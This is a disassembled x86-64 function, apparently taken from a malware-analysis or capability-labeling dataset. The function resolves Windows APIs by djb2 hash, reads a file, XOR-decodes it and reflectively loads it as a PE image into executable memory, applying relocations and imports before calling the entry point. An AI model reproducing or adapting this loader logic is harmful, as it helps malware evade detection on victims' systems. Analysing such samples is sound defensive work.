Function at 0x180002e10
Capabilities:
Encode data using xor
Resolve function by djb2 hash
Resolve function by parsing pe exports

Disassembly:
push rbp
mov edx, 0xcdea05f4
mov ecx, 0x6b0c494c
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x2c0
call fcn.180002980
mov edx, 0xe19e5fe
mov ecx, 0x7040ee75
mov rdi, rax
call fcn.180002980
mov edx, 0x382c0f97
mov ecx, 0x7040ee75
mov r12, rax
call fcn.180002980
mov edx, 0x668fcf2e
mov ecx, 0x7040ee75
mov rsi, rax
call fcn.180002980
test rdi, rdi
je 0x180002e8f
test r12, r12
je 0x180002e8f
test rsi, rsi
je 0x180002e8f
mov rbx, rax
test rax, rax
je 0x180002e8f
call fcn.180002360
test eax, eax
jne 0x180002ea0
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r15, [rsp + 0xa0]
mov edx, 0x104
lea r14, [rsp + 0x1b0]
mov rcx, r15
call fcn.180002870
lea rax, [rsp + 0x64]
mov ecx, 8
mov dword [rsp + 0x64], 0
mov rdx, rax
mov qword [rsp + 0x58], rax
call fcn.1800010d0
mov rdx, r15
mov rcx, r14
mov r8, rax
mov r13, rax
call fcn.180003820
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
mov r15d, eax
call rbx
test r15d, r15d
je 0x180002e8f
mov rcx, r14
call fcn.1800013e0
test eax, eax
je 0x180003380
mov edx, 0xeb96c5fa
mov ecx, 0x7040ee75
call fcn.180002980
mov edx, 0x71019921
mov ecx, 0x7040ee75
mov r15, rax
call fcn.180002980
mov edx, 0x7891c520
mov ecx, 0x7040ee75
mov rdi, rax
call fcn.180002980
mov edx, 0x3870ca07
mov ecx, 0x7040ee75
mov r13, rax
call fcn.180002980
mov edx, 0xcccf3585
mov ecx, 0x67208a49
mov r12, rax
call fcn.180002980
test r15, r15
je 0x180002e8f
test rdi, rdi
je 0x180002e8f
test r13, r13
sete dl
test r12, r12
sete cl
or dl, cl
jne 0x180002e8f
test rax, rax
je 0x180002e8f
mov rcx, r14
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call r15
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x180002e8f
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], 0
mov rcx, r14
mov qword [rsp + 0x58], rax
mov rdx, rax
call r13
mov r13d, eax
cmp eax, 0xffffffff
je 0x1800033e5
mov edx, 0x6f22e8c8
mov ecx, 0x7040ee75
call fcn.180002980
mov r15, rax
test rax, rax
je 0x1800033e5
mov r10d, r13d
xor ecx, ecx
mov dword [rsp + 0x50], r13d
mov r9d, 4
mov rdx, r10
mov qword [rsp + 0x48], r10
mov r8d, 0x1000
call rsi
mov r9, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x50]
mov rcx, r14
mov qword [rsp + 0x20], 0
mov r13, rax
mov rdx, rax
call rdi
mov r10, qword [rsp + 0x48]
test eax, eax
je 0x1800033d8
mov qword [rsp + 0x58], r10
mov rcx, r14
call r12
mov edx, 0xd2c4ab0a
mov ecx, 0x7040ee75
mov dword [rsp + 0x71], 0x66686864
mov dword [rsp + 0x74], 0x646466
call fcn.180002980
mov r10, qword [rsp + 0x58]
test rax, rax
je 0x1800030d4
mov qword [rsp + 0x58], r10
lea rcx, [rsp + 0x71]
call rax
mov r9d, dword [rsp + 0x50]
mov r8d, eax
test r9d, r9d
jle 0x1800030d4
mov r10, qword [rsp + 0x58]
xor ecx, ecx
nop dword [rax + rax]
mov eax, ecx
cdq
idiv r8d
movsxd rdx, edx
movzx eax, byte [rsp + rdx + 0x71]
xor byte [r13 + rcx], al
add rcx, 1
cmp rcx, r10
jne 0x1800030b8
movabs rax, 0xa0d3864616f6c
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x78], rax
call fcn.1800038a0
movsxd rax, dword [r13 + 0x3c]
lea rcx, [rsp + 0x80]
lea r14, [r13 + rax]
movabs rax, 0xa0d3064616f7a
mov edi, dword [r14 + 0x50]
movzx r12d, word [r14 + 6]
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x80], rax
call fcn.1800038a0
mov edx, edi
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
call rsi
movsxd rdx, dword [r13 + 0x3c]
mov rdi, rax
movzx eax, word [r14 + 0x14]
lea r14, [rdx + rax + 0x18]
add r14, r13
test r12w, r12w
je 0x18000318c
lea rax, [r12 + r12*4]
lea rsi, [rsp + 0x6c]
lea r12, [r14 + rax*8]
nop dword [rax]
mov eax, dword [r14 + 0x14]
mov edx, dword [r14 + 0xc]
add r14, 0x28
mov rcx, 0xffffffffffffffff
mov r9d, dword [r14 - 0x18]
mov qword [rsp + 0x20], rsi
add rdx, rdi
lea r8, [r13 + rax]
call r15
cmp r12, r14
jne 0x180003160
movabs rax, 0xa0d3064616f7a
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x88], rax
call fcn.1800038a0
movsxd rax, dword [r13 + 0x3c]
add rax, r13
mov ecx, dword [rax + 0xb4]
test ecx, ecx
je 0x180003285
mov r9d, dword [rax + 0xb0]
mov rax, qword [rsp + 0x48]
mov r10, rdi
add r9, rdi
sub r10, qword [rax + 0x30]
mov eax, dword [r9 + 4]
test eax, eax
je 0x180003285
mov r11, r10
shr r11, 0x10
nop dword [rax]
sub rax, 8
mov ecx, dword [r9]
lea rdx, [r9 + 8]
shr rax, 1
lea r8d, [rax - 1]
add rcx, rdi
lea r8, [r9 + r8*2 + 0xa]
test eax, eax
jne 0x180003229
jmp 0x180003270
cmp si, 2
jne 0x180003220
movzx eax, ax
add word [rax + rcx], r10w
nop
add rdx, 2
cmp rdx, r8
je 0x180003270
movzx eax, word [rdx]
mov esi, eax
and ax, 0xfff
shr si, 0xc
cmp si, 3
je 0x180003260
ja 0x180003250
cmp si, 1
jne 0x180003210
movzx eax, ax
add word [rax + rcx], r11w
jmp 0x180003220
cmp si, 0xa
jne 0x180003220
movzx eax, ax
add qword [rax + rcx], r10
jmp 0x180003220
movzx eax, ax
add dword [rax + rcx], r10d
jmp 0x180003220
mov eax, dword [r9 + 4]
add rax, r9
mov r9, rax
mov eax, dword [rax + 4]
test eax, eax
jne 0x1800031f0
movabs rax, 0xa0d3064616f7a
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, rax
mov qword [rsp + 0x40], rax
call fcn.1800038a0
movsxd rsi, dword [r13 + 0x3c]
add rsi, r13
mov edx, dword [rsi + 0x94]
test edx, edx
je 0x1800033f0
mov edx, 0x5fbff0fb
mov ecx, 0x7040ee75
call fcn.180002980
mov edx, 0xcf31bb1f
mov ecx, 0x7040ee75
mov qword [rsp + 0x50], rax
call fcn.180002980
mov r15d, dword [rsi + 0x90]
mov r14, rax
lea rax, [rdi + r15]
mov qword [rsp + 0x58], rax
nop word [rax + rax]
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
test eax, eax
je 0x1800033f0
mov rsi, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov ecx, dword [rsi + 0xc]
add rcx, rdi
call rax
mov r12, rax
test rax, rax
je 0x180003300
mov r8d, dword [rsi]
mov esi, dword [rsi + 0x10]
lea r15, [rdi + r8]
add rsi, rdi
mov rdx, qword [r15]
test rdx, rdx
je 0x180003366
test rdx, rdx
js 0x180003370
lea rdx, [rdi + rdx + 2]
mov rcx, r12
call r14
test rax, rax
je 0x180003336
add r15, 8
mov qword [rsi], rax
add rsi, 8
mov rdx, qword [r15]
test rdx, rdx
jne 0x18000333e
add qword [rsp + 0x58], 0x14
jmp 0x180003300
movzx edx, dx
mov rcx, r12
call r14
test rax, rax
jne 0x180003353
jmp 0x180003336
mov rdx, qword [rsp + 0x58]
mov ecx, 0x10
call fcn.1800010d0
mov r13, rax
jmp 0x1800033a0
mov ecx, 0x1388
call r12
xor r9d, r9d
xor ecx, ecx
mov r8, r14
mov rdx, r13
mov qword [rsp + 0x20], 0
call rdi
test eax, eax
jne 0x180003398
mov rcx, r14
call fcn.1800013e0
test eax, eax
je 0x180003398
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call rbx
jmp 0x180002f12
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call rbx
mov rcx, r14
call r12
jmp 0x180002e8f
movabs rax, 0xa0d3064616f33
lea r12, [rsp + 0x98]
mov qword [rsp + 0x98], rax
mov rcx, r12
call fcn.1800038a0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov esi, dword [rax + 0x28]
movabs rax, 0xa0d3064616f6c
mov qword [rsp + 0x90], rax
add rsi, rdi
call fcn.1800038a0
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call rbx
mov rcx, r12
movabs rax, 0xa0d3964616f6c
mov qword [rsp + 0x98], rax
call fcn.1800038a0
mov r8d, 1
mov edx, 1
mov rcx, rdi
call rsi
jmp 0x180002e8f